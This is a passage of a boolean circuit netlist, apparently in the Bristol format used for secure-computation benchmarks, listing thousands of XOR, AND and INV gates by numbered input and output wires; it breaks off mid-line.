34391 34393 11127 XOR +2 1 34392 11127 11129 XOR +2 1 34396 11129 11211 XOR +2 1 34395 11129 11208 XOR +2 1 34391 34392 11144 XOR +2 1 34397 34391 11223 XOR +2 1 11223 11208 11204 AND +2 1 11204 11128 11132 XOR +2 1 10212 10164 10124 XOR +2 1 36185 1291 34394 XOR +2 1 34392 34394 11224 XOR +2 1 34394 34397 11222 XOR +2 1 11222 11211 11201 AND +2 1 11127 11222 11214 XOR +2 1 11222 11144 11218 XOR +2 1 11214 11218 11207 AND +2 1 11201 11129 11131 XOR +2 1 34394 34396 11130 XOR +2 1 11130 11128 11090 XOR +2 1 11127 11090 11212 XOR +2 1 11221 11212 11199 AND +2 1 11207 11130 11133 XOR +2 1 11133 11131 11137 XOR +2 1 34397 11137 11142 XOR +2 1 11128 11224 11209 XOR +2 1 11224 11209 11200 AND +2 1 11200 11201 11103 XOR +2 1 11103 11104 11150 XOR +2 1 11150 11132 11149 XOR +2 1 33084 10124 36181 XOR +2 1 36181 1295 34390 XOR +2 1 34390 11214 11213 XOR +2 1 34390 34396 11134 XOR +2 1 34395 11134 11220 XOR +2 1 11128 11134 11217 XOR +2 1 11144 11217 11215 XOR +2 1 11134 11129 11210 XOR +2 1 11217 11210 11202 AND +2 1 34391 11220 11216 XOR +2 1 11215 11213 11206 AND +2 1 11220 11216 11203 AND +2 1 11203 11149 11197 XOR +2 1 11200 11206 11151 XOR +2 1 11151 11142 11198 XOR +2 1 11198 11197 11194 AND +2 1 11199 11202 11152 XOR +2 1 11132 11152 11106 XOR +2 1 11106 11131 11196 XOR +2 1 11194 11196 11193 XOR +2 1 11200 11152 11146 XOR +2 1 11203 11146 11102 XOR +2 1 34391 11102 11190 XOR +2 1 11130 34395 11089 XOR +2 1 34390 11089 11219 XOR +2 1 11219 34390 11205 AND +2 1 11199 11205 11156 XOR +2 1 11137 11156 11105 XOR +2 1 11156 11128 11143 XOR +2 1 11151 11143 11195 XOR +2 1 11195 11193 11192 AND +2 1 11192 11204 11097 XOR +2 1 11097 11133 11093 XOR +2 1 34395 11093 11092 XOR +2 1 11192 11142 11094 XOR +2 1 34395 11105 11148 XOR +2 1 11194 11148 11189 XOR +2 1 11189 11190 11188 AND +2 1 11188 11205 11100 XOR +2 1 11100 11202 11095 XOR +2 1 11188 11196 11187 XOR +2 1 11187 11219 11164 AND +2 1 11188 11146 11101 XOR +2 1 11192 11148 11191 XOR +2 1 11191 11210 11170 AND +2 1 11191 11217 11161 AND +2 1 11187 34390 11173 AND +2 1 11194 11188 11186 XOR +2 1 11196 11186 11185 AND +2 1 11185 11203 11155 XOR +2 1 11155 11149 11177 XOR +2 1 11177 11218 11166 AND +2 1 11185 11193 11183 XOR +2 1 11191 11183 11182 AND +2 1 11182 11206 11099 XOR +2 1 11182 11151 11141 XOR +2 1 11141 11094 11178 XOR +2 1 11141 11143 11181 XOR +2 1 11178 11223 11163 AND +2 1 11178 11208 11172 AND +2 1 11172 11163 11124 XOR +2 1 11181 11220 11171 AND +2 1 11171 11172 11157 XOR +2 1 11181 11216 11162 AND +2 1 11170 11162 11126 XOR +2 1 11170 11171 11108 XOR +2 1 34391 11155 11138 XOR +2 1 11138 11099 11091 XOR +2 1 11128 11091 11098 XOR +2 1 11095 11098 11180 XOR +2 1 11180 11212 11167 AND +2 1 11163 11167 11139 XOR +2 1 11091 11092 11176 XOR +2 1 11176 11224 11159 AND +2 1 11138 11101 11184 XOR +2 1 11184 11213 11174 AND +2 1 11184 11215 11165 AND +2 1 11176 11209 11168 AND +2 1 11168 11157 11147 XOR +1 1 11139 11117 INV +2 1 11164 11147 11113 XOR +1 1 11113 11110 INV +2 1 11180 11221 11158 AND +2 1 11177 11214 11175 AND +2 1 11168 11171 11123 XOR +1 1 11123 11120 INV +2 1 34397 11093 11096 XOR +2 1 11095 11096 11179 XOR +2 1 11179 11222 11160 AND +2 1 11179 11211 11169 AND +2 1 11168 11169 11119 XOR +2 1 11159 11160 11153 XOR +2 1 11165 11153 11135 XOR +2 1 11166 11135 11136 XOR +2 1 11174 11136 11140 XOR +2 1 11175 11140 11145 XOR +2 1 11173 11140 11109 XOR +2 1 11108 11109 36410 XOR +2 1 11126 11153 11122 XOR +2 1 11117 11122 11121 XOR +2 1 11145 11119 11226 XOR +2 1 11169 11147 11107 XOR +2 1 11136 11107 36412 XOR +2 1 36412 36417 11624 XOR +1 1 11624 11715 INV +2 1 11624 33079 11416 XOR +2 1 11157 11145 36411 XOR +2 1 36411 36415 11676 XOR +2 1 11715 36411 11543 XOR +2 1 11715 36413 11418 XOR +1 1 11226 32852 INV +2 1 32852 36416 11669 XOR +2 1 11117 11161 11116 XOR +2 1 11120 11121 11227 XOR +1 1 11227 36408 INV +2 1 33078 11227 11546 XOR +2 1 36410 36414 11679 XOR +2 1 11173 11175 11154 XOR +2 1 11116 11154 11112 XOR +2 1 11160 11112 11115 XOR +2 1 11135 11112 11111 XOR +2 1 11110 11111 36409 XOR +1 1 36409 11420 INV +2 1 36410 11420 11419 XOR +2 1 11418 11419 11692 XOR +2 1 11154 11122 11125 XOR +2 1 11124 11125 11228 XOR +1 1 11228 32853 INV +2 1 11169 11158 11118 XOR +1 1 11118 11114 INV +2 1 11114 11115 11225 XOR +1 1 11225 32851 INV +2 1 32851 33077 11672 XOR +2 1 11321 11361 11299 AND +2 1 11310 11299 11258 XOR +1 1 11258 11254 INV +2 1 11254 11255 11365 XOR +1 1 11365 32855 INV +2 1 32834 32855 11653 XOR +2 1 34290 34292 25266 XOR +2 1 25266 25264 25226 XOR +2 1 25266 34291 25225 XOR +2 1 34286 25225 25355 XOR +2 1 25355 34286 25341 AND +2 1 25263 25226 25348 XOR +2 1 25343 25266 25269 XOR +2 1 25269 25267 25273 XOR +2 1 34293 25273 25278 XOR +2 1 25357 25348 25335 AND +2 1 25335 25341 25292 XOR +2 1 25292 25264 25279 XOR +2 1 25273 25292 25241 XOR +2 1 34291 25241 25284 XOR +2 1 25287 25279 25331 XOR +2 1 25335 25338 25288 XOR +2 1 25336 25288 25282 XOR +2 1 25268 25288 25242 XOR +2 1 25242 25267 25332 XOR +2 1 25287 25278 25334 XOR +2 1 25334 25333 25330 AND +2 1 25330 25332 25329 XOR +2 1 25330 25284 25325 XOR +2 1 25331 25329 25328 AND +2 1 25328 25340 25233 XOR +2 1 25233 25269 25229 XOR +2 1 34293 25229 25232 XOR +2 1 25328 25278 25230 XOR +2 1 34291 25229 25228 XOR +2 1 25328 25284 25327 XOR +2 1 25327 25353 25297 AND +2 1 25327 25346 25306 AND +2 1 25339 25282 25238 XOR +2 1 34287 25238 25326 XOR +2 1 25325 25326 25324 AND +2 1 25324 25341 25236 XOR +2 1 25324 25282 25237 XOR +2 1 25330 25324 25322 XOR +2 1 25332 25322 25321 AND +2 1 25321 25339 25291 XOR +2 1 25291 25285 25313 XOR +2 1 25313 25350 25311 AND +2 1 34287 25291 25274 XOR +2 1 25274 25237 25320 XOR +2 1 25320 25349 25310 AND +2 1 25324 25332 25323 XOR +2 1 25323 34286 25309 AND +2 1 25309 25311 25290 XOR +2 1 25236 25338 25231 XOR +2 1 25231 25232 25315 XOR +2 1 25315 25358 25296 AND +2 1 25315 25347 25305 AND +2 1 25313 25354 25302 AND +2 1 25320 25351 25301 AND +2 1 25323 25355 25300 AND +2 1 25321 25329 25319 XOR +2 1 25327 25319 25318 AND +2 1 25318 25342 25235 XOR +2 1 25274 25235 25227 XOR +2 1 25318 25287 25277 XOR +2 1 25277 25279 25317 XOR +2 1 25317 25356 25307 AND +2 1 25306 25307 25244 XOR +2 1 25317 25352 25298 AND +2 1 25306 25298 25262 XOR +2 1 25227 25228 25312 XOR +2 1 25312 25360 25295 AND +2 1 25264 25227 25234 XOR +2 1 25231 25234 25316 XOR +2 1 25316 25348 25303 AND +2 1 25316 25357 25294 AND +2 1 25305 25294 25254 XOR +1 1 25254 25250 INV +2 1 25277 25230 25314 XOR +2 1 25314 25344 25308 AND +2 1 25307 25308 25293 XOR +2 1 25312 25345 25304 AND +2 1 25304 25305 25255 XOR +2 1 25295 25296 25289 XOR +2 1 25301 25289 25271 XOR +2 1 25302 25271 25272 XOR +2 1 25310 25272 25276 XOR +2 1 25311 25276 25281 XOR +2 1 25293 25281 36442 XOR +2 1 36442 36436 11401 XOR +2 1 36437 36442 11663 XOR +1 1 11663 11434 INV +2 1 25309 25276 25245 XOR +2 1 25244 25245 36441 XOR +1 1 36441 11399 INV +2 1 11399 36435 11398 XOR +2 1 25281 25255 25362 XOR +1 1 25362 36444 INV +2 1 33065 36444 11649 XOR +2 1 25362 33072 11473 XOR +2 1 36436 36441 11671 XOR +1 1 11671 11437 INV +2 1 25262 25289 25258 XOR +2 1 25290 25258 25261 XOR +2 1 25304 25293 25283 XOR +2 1 25300 25283 25249 XOR +1 1 25249 25246 INV +2 1 25305 25283 25243 XOR +2 1 25272 25243 36445 XOR +2 1 36445 33065 11470 XOR +2 1 36438 36445 11623 XOR +2 1 25304 25307 25259 XOR +1 1 25259 25256 INV +2 1 25314 25359 25299 AND +2 1 25308 25299 25260 XOR +2 1 25260 25261 25364 XOR +2 1 25299 25303 25275 XOR +1 1 25275 25253 INV +2 1 25253 25297 25252 XOR +2 1 25253 25258 25257 XOR +2 1 25252 25290 25248 XOR +2 1 25271 25248 25247 XOR +2 1 25246 25247 36440 XOR +1 1 36440 11406 INV +2 1 25296 25248 25251 XOR +2 1 11406 33066 11481 XOR +2 1 36435 36440 11678 XOR +1 1 11678 11453 INV +1 1 25364 33057 INV +2 1 33067 33057 11686 XOR +2 1 25250 25251 25361 XOR +2 1 25361 36437 11478 XOR +1 1 25361 36443 INV +2 1 33072 36443 11656 XOR +2 1 25256 25257 25363 XOR +1 1 25363 36439 INV +2 1 25363 33067 11395 XOR +2 1 33066 36439 11685 XOR +1 1 11623 33234 INV +2 1 33234 33066 11467 XOR +2 1 33234 36436 11463 XOR +2 1 33234 36437 11461 XOR +1 1 9380 33249 INV +2 1 33249 36062 9363 XOR +2 1 33249 33041 9368 XOR +2 1 9367 9368 9366 XOR +1 1 9366 35973 INV +2 1 35973 1430 34255 XOR +2 1 34255 27736 27732 XOR +2 1 34255 34256 27660 XOR +2 1 34261 34255 27739 XOR +2 1 27736 27732 27719 AND +2 1 27660 27733 27731 XOR +2 1 33249 36053 9183 XOR +2 1 9183 9184 9452 XOR +2 1 9452 9396 35976 XOR +2 1 35976 1427 34258 XOR +2 1 34258 34260 27646 XOR +2 1 34258 34261 27738 XOR +2 1 27738 27660 27734 XOR +2 1 27646 27644 27606 XOR +2 1 34256 34258 27740 XOR +2 1 27644 27740 27725 XOR +2 1 27740 27725 27716 AND +2 1 27646 34259 27605 XOR +2 1 34254 27605 27735 XOR +2 1 27735 34254 27721 AND +2 1 9362 9363 35975 XOR +2 1 35975 1428 34257 XOR +2 1 34257 34256 27620 XOR +2 1 34255 34257 27643 XOR +2 1 27643 27606 27728 XOR +2 1 27737 27728 27715 AND +2 1 34256 27643 27645 XOR +2 1 34260 27645 27727 XOR +2 1 34259 27645 27724 XOR +2 1 27643 27738 27730 XOR +2 1 34254 27730 27729 XOR +2 1 27731 27729 27722 AND +2 1 27650 27645 27726 XOR +2 1 27739 27724 27720 AND +2 1 27720 27644 27648 XOR +2 1 27716 27722 27667 XOR +2 1 27715 27721 27672 XOR +2 1 27672 27644 27659 XOR +2 1 27733 27726 27718 AND +2 1 27715 27718 27668 XOR +2 1 27716 27668 27662 XOR +2 1 27719 27662 27618 XOR +2 1 34255 27618 27706 XOR +2 1 27738 27727 27717 AND +2 1 27717 27645 27647 XOR +2 1 27716 27717 27619 XOR +2 1 27619 27620 27666 XOR +2 1 27666 27648 27665 XOR +2 1 27719 27665 27713 XOR +2 1 27667 27659 27711 XOR +2 1 27648 27668 27622 XOR +2 1 27622 27647 27712 XOR +2 1 27730 27734 27723 AND +2 1 27723 27646 27649 XOR +2 1 27649 27647 27653 XOR +2 1 27653 27672 27621 XOR +2 1 34259 27621 27664 XOR +2 1 34261 27653 27658 XOR +2 1 27667 27658 27714 XOR +2 1 27714 27713 27710 AND +2 1 27710 27664 27705 XOR +2 1 27705 27706 27704 AND +2 1 27704 27712 27703 XOR +2 1 27710 27704 27702 XOR +2 1 27712 27702 27701 AND +2 1 27704 27721 27616 XOR +2 1 27704 27662 27617 XOR +2 1 27701 27719 27671 XOR +2 1 34255 27671 27654 XOR +2 1 27654 27617 27700 XOR +2 1 27671 27665 27693 XOR +2 1 27693 27730 27691 AND +2 1 27693 27734 27682 AND +2 1 27703 34254 27689 AND +2 1 27689 27691 27670 XOR +2 1 27710 27712 27709 XOR +2 1 27701 27709 27699 XOR +2 1 27616 27718 27611 XOR +2 1 27711 27709 27708 AND +2 1 27708 27664 27707 XOR +2 1 27708 27658 27610 XOR +2 1 27707 27733 27677 AND +2 1 27708 27720 27613 XOR +2 1 27613 27649 27609 XOR +2 1 34259 27609 27608 XOR +2 1 27707 27726 27686 AND +2 1 34261 27609 27612 XOR +2 1 27707 27699 27698 AND +2 1 27698 27667 27657 XOR +2 1 27698 27722 27615 XOR +2 1 27654 27615 27607 XOR +2 1 27644 27607 27614 XOR +2 1 27611 27614 27696 XOR +2 1 27696 27737 27674 AND +2 1 27696 27728 27683 AND +2 1 27607 27608 27692 XOR +2 1 27692 27740 27675 AND +2 1 27692 27725 27684 AND +2 1 27700 27731 27681 AND +2 1 27657 27659 27697 XOR +2 1 27697 27736 27687 AND +2 1 27684 27687 27639 XOR +2 1 27697 27732 27678 AND +2 1 27686 27678 27642 XOR +1 1 27639 27636 INV +2 1 27611 27612 27695 XOR +2 1 27695 27738 27676 AND +2 1 27675 27676 27669 XOR +2 1 27695 27727 27685 AND +2 1 27681 27669 27651 XOR +2 1 27682 27651 27652 XOR +2 1 27685 27674 27634 XOR +2 1 27684 27685 27635 XOR +2 1 27642 27669 27638 XOR +2 1 27670 27638 27641 XOR +1 1 27634 27630 INV +2 1 27686 27687 27624 XOR +2 1 27657 27610 27694 XOR +2 1 27694 27739 27679 AND +2 1 27679 27683 27655 XOR +1 1 27655 27633 INV +2 1 27633 27677 27632 XOR +2 1 27632 27670 27628 XOR +2 1 27676 27628 27631 XOR +2 1 27651 27628 27627 XOR +2 1 27630 27631 27741 XOR +2 1 27694 27724 27688 AND +2 1 27633 27638 27637 XOR +2 1 27636 27637 27743 XOR +2 1 27743 32820 9906 XOR +2 1 27688 27679 27640 XOR +2 1 27640 27641 27744 XOR +1 1 27743 36221 INV +2 1 27687 27688 27673 XOR +2 1 27684 27673 27663 XOR +2 1 27685 27663 27623 XOR +2 1 27652 27623 36225 XOR +2 1 36220 36225 10153 XOR +2 1 10153 33086 10015 XOR +1 1 10153 10048 INV +2 1 10048 36219 10047 XOR +2 1 10048 32819 10055 XOR +2 1 10048 36218 10051 XOR +2 1 32819 36221 10192 XOR +2 1 27700 27729 27690 AND +2 1 27690 27652 27656 XOR +2 1 27689 27656 27625 XOR +2 1 27624 27625 36223 XOR +1 1 36223 9910 INV +2 1 27691 27656 27661 XOR +2 1 27673 27661 36224 XOR +2 1 36224 36218 9912 XOR +2 1 36219 36224 10181 XOR +2 1 9910 36217 9909 XOR +2 1 9908 9909 10240 XOR +2 1 27661 27635 27742 XOR +2 1 9911 9912 10239 XOR +1 1 10181 10022 INV +2 1 36218 36223 10185 XOR +1 1 10185 10049 INV +2 1 27703 27735 27680 AND +2 1 27680 27663 27629 XOR +1 1 27629 27626 INV +2 1 27626 27627 36222 XOR +2 1 36217 36222 10188 XOR +1 1 10188 10040 INV +2 1 10040 36230 10038 XOR +2 1 36222 32819 10067 XOR +1 1 27741 33118 INV +2 1 33118 36219 10065 XOR +2 1 32824 33118 10177 XOR +2 1 10177 10171 10044 XOR +2 1 10177 33085 10037 XOR +1 1 10037 10035 INV +1 1 27742 33119 INV +2 1 33119 33118 10034 XOR +1 1 27744 33120 INV +2 1 32820 33120 10193 XOR +2 1 9905 9906 10241 XOR +1 1 9386 33250 INV +2 1 33250 36015 9310 XOR +2 1 33250 33127 9174 XOR +2 1 9310 9311 35891 XOR +2 1 33250 35998 9331 XOR +2 1 35891 1512 34173 XOR +2 1 9174 9175 9456 XOR +2 1 9456 9448 35877 XOR +2 1 35877 1526 34159 XOR +2 1 34165 34159 28019 XOR +2 1 34159 34161 27923 XOR +2 1 34160 27923 27925 XOR +2 1 27930 27925 28006 XOR +2 1 28013 28006 27998 AND +2 1 9330 9331 35880 XOR +2 1 35880 1523 34162 XOR +2 1 34162 34165 28018 XOR +2 1 34171 34173 31284 XOR +2 1 31284 31380 31365 XOR +2 1 34170 34173 31378 XOR +2 1 31378 31300 31374 XOR +2 1 31284 31290 31373 XOR +2 1 31300 31373 31371 XOR +2 1 31283 31378 31370 XOR +2 1 34166 31370 31369 XOR +2 1 31286 31284 31246 XOR +2 1 31283 31246 31368 XOR +2 1 34173 34167 31379 XOR +2 1 34173 34168 31377 XOR +2 1 31370 31374 31363 AND +2 1 31363 31286 31289 XOR +2 1 31371 31369 31362 AND +2 1 31379 31364 31360 AND +2 1 31360 31284 31288 XOR +2 1 31373 31366 31358 AND +2 1 31378 31367 31357 AND +2 1 31357 31285 31287 XOR +2 1 31289 31287 31293 XOR +2 1 34173 31293 31298 XOR +2 1 31380 31365 31356 AND +2 1 31356 31362 31307 XOR +2 1 31307 31298 31354 XOR +2 1 31356 31357 31259 XOR +2 1 31259 31260 31306 XOR +2 1 31306 31288 31305 XOR +2 1 31359 31305 31353 XOR +2 1 31377 31368 31355 AND +2 1 31355 31358 31308 XOR +2 1 31355 31361 31312 XOR +2 1 31312 31284 31299 XOR +2 1 31307 31299 31351 XOR +2 1 31356 31308 31302 XOR +2 1 31288 31308 31262 XOR +2 1 31262 31287 31352 XOR +2 1 31293 31312 31261 XOR +2 1 34171 31261 31304 XOR +2 1 31359 31302 31258 XOR +2 1 34167 31258 31346 XOR +2 1 31354 31353 31350 AND +2 1 31350 31304 31345 XOR +2 1 31350 31352 31349 XOR +2 1 31351 31349 31348 AND +2 1 31348 31304 31347 XOR +2 1 31348 31360 31253 XOR +2 1 31253 31289 31249 XOR +2 1 34173 31249 31252 XOR +2 1 31348 31298 31250 XOR +2 1 34171 31249 31248 XOR +2 1 31345 31346 31344 AND +2 1 31344 31352 31343 XOR +2 1 31350 31344 31342 XOR +2 1 31344 31302 31257 XOR +2 1 31344 31361 31256 XOR +2 1 31256 31358 31251 XOR +2 1 31251 31252 31335 XOR +2 1 31352 31342 31341 AND +2 1 31341 31349 31339 XOR +2 1 31341 31359 31311 XOR +2 1 31311 31305 31333 XOR +2 1 34167 31311 31294 XOR +2 1 31294 31257 31340 XOR +2 1 31347 31339 31338 AND +2 1 31338 31307 31297 XOR +2 1 31297 31299 31337 XOR +2 1 31338 31362 31255 XOR +2 1 31294 31255 31247 XOR +2 1 31284 31247 31254 XOR +2 1 31251 31254 31336 XOR +2 1 31297 31250 31334 XOR +2 1 31247 31248 31332 XOR +2 1 31333 31370 31331 AND +2 1 31340 31369 31330 AND +2 1 31343 34166 31329 AND +2 1 31329 31331 31310 XOR +2 1 31334 31364 31328 AND +2 1 31337 31376 31327 AND +2 1 31327 31328 31313 XOR +2 1 31347 31366 31326 AND +2 1 31326 31327 31264 XOR +2 1 31335 31367 31325 AND +2 1 31332 31365 31324 AND +2 1 31324 31313 31303 XOR +2 1 31324 31327 31279 XOR +1 1 31279 31276 INV +2 1 31324 31325 31275 XOR +2 1 31325 31303 31263 XOR +2 1 31336 31368 31323 AND +2 1 31333 31374 31322 AND +2 1 31340 31371 31321 AND +2 1 31343 31375 31320 AND +2 1 31320 31303 31269 XOR +1 1 31269 31266 INV +2 1 31334 31379 31319 AND +2 1 31319 31323 31295 XOR +2 1 31328 31319 31280 XOR +1 1 31295 31273 INV +2 1 31337 31372 31318 AND +2 1 31326 31318 31282 XOR +2 1 31347 31373 31317 AND +2 1 31273 31317 31272 XOR +2 1 31272 31310 31268 XOR +2 1 31335 31378 31316 AND +2 1 31316 31268 31271 XOR +2 1 31332 31380 31315 AND +2 1 31315 31316 31309 XOR +2 1 31321 31309 31291 XOR +2 1 31322 31291 31292 XOR +2 1 31330 31292 31296 XOR +2 1 31331 31296 31301 XOR +2 1 31313 31301 36228 XOR +1 1 36228 10021 INV +2 1 31282 31309 31278 XOR +2 1 31310 31278 31281 XOR +2 1 31280 31281 31384 XOR +2 1 31273 31278 31277 XOR +2 1 31276 31277 31383 XOR +2 1 31301 31275 31382 XOR +2 1 31291 31268 31267 XOR +2 1 31266 31267 36226 XOR +2 1 31329 31296 31265 XOR +2 1 31264 31265 36227 XOR +2 1 31292 31263 36229 XOR +2 1 36229 36233 10152 XOR +2 1 10193 10152 10031 XOR +2 1 10171 10152 10061 XOR +2 1 36225 36229 10160 XOR +2 1 10160 33087 9917 XOR +1 1 10160 9923 INV +2 1 10160 36231 9919 XOR +2 1 9923 36232 9921 XOR +2 1 31336 31377 31314 AND +2 1 31325 31314 31274 XOR +1 1 31274 31270 INV +2 1 31270 31271 31381 XOR +2 1 34160 34162 28020 XOR +2 1 27924 28020 28005 XOR +2 1 34162 34164 27926 XOR +2 1 34159 28016 28012 XOR +2 1 28016 28012 27999 AND +2 1 27923 28018 28010 XOR +2 1 34158 28010 28009 XOR +2 1 27926 27924 27886 XOR +2 1 34159 34160 27940 XOR +2 1 28018 27940 28014 XOR +2 1 28010 28014 28003 AND +2 1 28003 27926 27929 XOR +2 1 27940 28013 28011 XOR +2 1 28011 28009 28002 AND +2 1 36225 10061 36108 XOR +2 1 36108 1368 34317 XOR +2 1 10193 10160 10041 XOR +2 1 33088 10041 36117 XOR +2 1 36117 1359 34326 XOR +2 1 36228 36232 10173 XOR +2 1 10177 10173 10018 XOR +2 1 10239 10173 36105 XOR +2 1 36105 1371 34314 XOR +2 1 34314 34317 10522 XOR +2 1 36227 36231 10178 XOR +2 1 10240 10178 36104 XOR +2 1 10022 10178 10019 XOR +2 1 36104 1372 34313 XOR +2 1 36226 36222 9920 XOR +2 1 9919 9920 10235 XOR +2 1 10235 10185 36120 XOR +2 1 36120 1356 34329 XOR +2 1 10152 33119 10042 XOR +2 1 10042 10043 36116 XOR +2 1 36116 1360 34325 XOR +2 1 34164 27925 28007 XOR +2 1 28018 28007 27997 AND +2 1 28020 28005 27996 AND +2 1 27996 27997 27899 XOR +2 1 27899 27900 27946 XOR +2 1 27996 28002 27947 XOR +2 1 36226 36230 10183 XOR +2 1 10183 33087 10066 XOR +2 1 10066 10067 36103 XOR +2 1 36103 1373 34312 XOR +2 1 10192 10183 10052 XOR +2 1 36217 10052 36111 XOR +2 1 36111 1365 34320 XOR +2 1 34325 34320 27597 XOR +2 1 34313 34312 10404 XOR +2 1 34317 34312 10521 XOR +2 1 34312 34314 10524 XOR +2 1 10185 10183 10026 XOR +2 1 10152 36227 10027 XOR +2 1 10026 10027 36128 XOR +2 1 36128 1348 34337 XOR +2 1 34163 27925 28004 XOR +2 1 28019 28004 28000 AND +2 1 28000 27924 27928 XOR +2 1 27946 27928 27945 XOR +2 1 27999 27945 27993 XOR +2 1 10049 10173 10046 XOR +2 1 10046 10047 36113 XOR +2 1 36113 1363 34322 XOR +2 1 34320 34322 27600 XOR +2 1 34322 34325 27598 XOR +2 1 27923 27886 28008 XOR +2 1 28017 28008 27995 AND +2 1 27995 27998 27948 XOR +2 1 27928 27948 27902 XOR +2 1 27996 27948 27942 XOR +2 1 27999 27942 27898 XOR +2 1 34159 27898 27986 XOR +2 1 27997 27925 27927 XOR +2 1 27902 27927 27992 XOR +2 1 27929 27927 27933 XOR +2 1 34165 27933 27938 XOR +2 1 27947 27938 27994 XOR +2 1 27994 27993 27990 AND +2 1 27990 27992 27989 XOR +2 1 10021 36224 10036 XOR +2 1 10035 10036 36122 XOR +2 1 36122 1354 34331 XOR +2 1 10152 10021 10020 XOR +2 1 10019 10020 36129 XOR +2 1 36129 1347 34338 XOR +2 1 10040 10178 10050 XOR +2 1 10050 10051 36112 XOR +2 1 36112 1364 34321 XOR +2 1 34321 34320 27480 XOR +2 1 36227 9910 9922 XOR +2 1 9921 9922 10234 XOR +2 1 10234 10181 36121 XOR +2 1 36121 1355 34330 XOR +2 1 27926 34163 27885 XOR +2 1 34158 27885 28015 XOR +2 1 28015 34158 28001 AND +2 1 27995 28001 27952 XOR +2 1 27952 27924 27939 XOR +2 1 27947 27939 27991 XOR +2 1 27991 27989 27988 AND +2 1 27988 27938 27890 XOR +2 1 27933 27952 27901 XOR +2 1 34163 27901 27944 XOR +2 1 27988 27944 27987 XOR +2 1 27987 28013 27957 AND +2 1 27987 28006 27966 AND +2 1 27990 27944 27985 XOR +2 1 27985 27986 27984 AND +2 1 27984 27992 27983 XOR +2 1 27983 34158 27969 AND +2 1 27983 28015 27960 AND +2 1 27990 27984 27982 XOR +2 1 27992 27982 27981 AND +2 1 27984 27942 27897 XOR +2 1 27981 27999 27951 XOR +2 1 34159 27951 27934 XOR +2 1 27934 27897 27980 XOR +2 1 27980 28009 27970 AND +2 1 27980 28011 27961 AND +2 1 27951 27945 27973 XOR +2 1 27973 28014 27962 AND +2 1 27973 28010 27971 AND +2 1 27969 27971 27950 XOR +2 1 27988 28000 27893 XOR +2 1 27893 27929 27889 XOR +2 1 34165 27889 27892 XOR +2 1 34163 27889 27888 XOR +2 1 27984 28001 27896 XOR +2 1 27896 27998 27891 XOR +2 1 27891 27892 27975 XOR +2 1 27975 28007 27965 AND +2 1 27975 28018 27956 AND +1 1 31383 33201 INV +2 1 33201 27743 10039 XOR +2 1 10152 33201 10030 XOR +2 1 10038 10039 36119 XOR +2 1 36119 1357 34328 XOR +2 1 34329 34328 10544 XOR +2 1 34328 34330 10664 XOR +2 1 33201 33087 10186 XOR +2 1 10241 10186 36102 XOR +2 1 36102 1374 34311 XOR +2 1 34317 34311 10523 XOR +2 1 34311 34313 10427 XOR +2 1 10427 10522 10514 XOR +2 1 34312 10427 10429 XOR +2 1 10188 10186 10028 XOR +2 1 36226 10028 36127 XOR +2 1 36127 1349 34336 XOR +2 1 34336 34338 10804 XOR +2 1 34337 34336 10684 XOR +2 1 10193 10186 10054 XOR +2 1 34311 34312 10444 XOR +2 1 10522 10444 10518 XOR +2 1 10514 10518 10507 AND +2 1 10054 10055 10053 XOR +1 1 10053 36110 INV +2 1 36110 1366 34319 XOR +2 1 34319 34321 27503 XOR +2 1 34325 34319 27599 XOR +2 1 34320 27503 27505 XOR +2 1 27503 27598 27590 XOR +2 1 34319 34320 27520 XOR +2 1 27598 27520 27594 XOR +2 1 27590 27594 27583 AND +1 1 31384 33202 INV +2 1 33202 10031 36125 XOR +2 1 36125 1351 34334 XOR +2 1 33202 33120 9918 XOR +2 1 9917 9918 10236 XOR +2 1 10236 10192 36118 XOR +2 1 33202 33088 10190 XOR +2 1 10190 10162 10068 XOR +2 1 10192 10190 10029 XOR +2 1 10190 10153 10056 XOR +2 1 10029 10030 36126 XOR +2 1 36126 1350 34335 XOR +2 1 34335 34336 10724 XOR +2 1 34335 34337 10707 XOR +2 1 34336 10707 10709 XOR +2 1 32820 10056 36109 XOR +2 1 36109 1367 34318 XOR +2 1 34318 27590 27589 XOR +2 1 33120 10068 36101 XOR +2 1 36101 1375 34310 XOR +2 1 34310 10514 10513 XOR +2 1 36118 1358 34327 XOR +2 1 34327 34329 10567 XOR +2 1 34328 10567 10569 XOR +2 1 34331 10569 10648 XOR +2 1 34327 34328 10584 XOR +1 1 31381 33207 INV +2 1 33207 33085 10168 XOR +2 1 10168 36232 10064 XOR +2 1 10064 10065 36106 XOR +2 1 36106 1370 34315 XOR +2 1 34315 34317 10428 XOR +2 1 10428 10524 10509 XOR +2 1 34315 10429 10508 XOR +2 1 33207 10018 36130 XOR +2 1 36130 1346 34339 XOR +2 1 34339 10709 10788 XOR +2 1 10171 33207 10033 XOR +2 1 10033 10034 36123 XOR +2 1 36123 1353 34332 XOR +2 1 34326 34332 10574 XOR +2 1 34332 10569 10651 XOR +2 1 34331 10574 10660 XOR +2 1 34327 10660 10656 XOR +2 1 10660 10656 10643 AND +2 1 34330 34332 10570 XOR +2 1 10570 34331 10529 XOR +2 1 34326 10529 10659 XOR +2 1 10659 34326 10645 AND +2 1 10181 10168 10045 XOR +2 1 32824 10045 36114 XOR +2 1 36114 1362 34323 XOR +2 1 34323 27505 27584 XOR +2 1 34323 34325 27504 XOR +2 1 27504 27600 27585 XOR +2 1 27599 27584 27580 AND +2 1 27600 27585 27576 AND +2 1 27580 27504 27508 XOR +2 1 10574 10569 10650 XOR +2 1 10523 10508 10504 AND +2 1 10504 10428 10432 XOR +1 1 31382 33208 INV +2 1 36229 33208 10016 XOR +2 1 10015 10016 36132 XOR +2 1 36132 1344 34341 XOR +2 1 34338 34341 10802 XOR +2 1 34341 34335 10803 XOR +2 1 10803 10788 10784 AND +2 1 10802 10724 10798 XOR +2 1 10707 10802 10794 XOR +2 1 34341 34336 10801 XOR +2 1 34334 10794 10793 XOR +2 1 10794 10798 10787 AND +2 1 33208 10044 36115 XOR +2 1 36115 1361 34324 XOR +2 1 34324 27505 27587 XOR +2 1 34318 34324 27510 XOR +2 1 27504 27510 27593 XOR +2 1 27510 27505 27586 XOR +2 1 27598 27587 27577 AND +2 1 27593 27586 27578 AND +2 1 27577 27505 27507 XOR +2 1 34322 34324 27506 XOR +2 1 27506 34323 27465 XOR +2 1 34318 27465 27595 XOR +2 1 27595 34318 27581 AND +2 1 27583 27506 27509 XOR +2 1 27509 27507 27513 XOR +2 1 34325 27513 27518 XOR +2 1 27506 27504 27466 XOR +2 1 27503 27466 27588 XOR +2 1 27597 27588 27575 AND +2 1 27575 27578 27528 XOR +2 1 27576 27528 27522 XOR +2 1 27575 27581 27532 XOR +2 1 27532 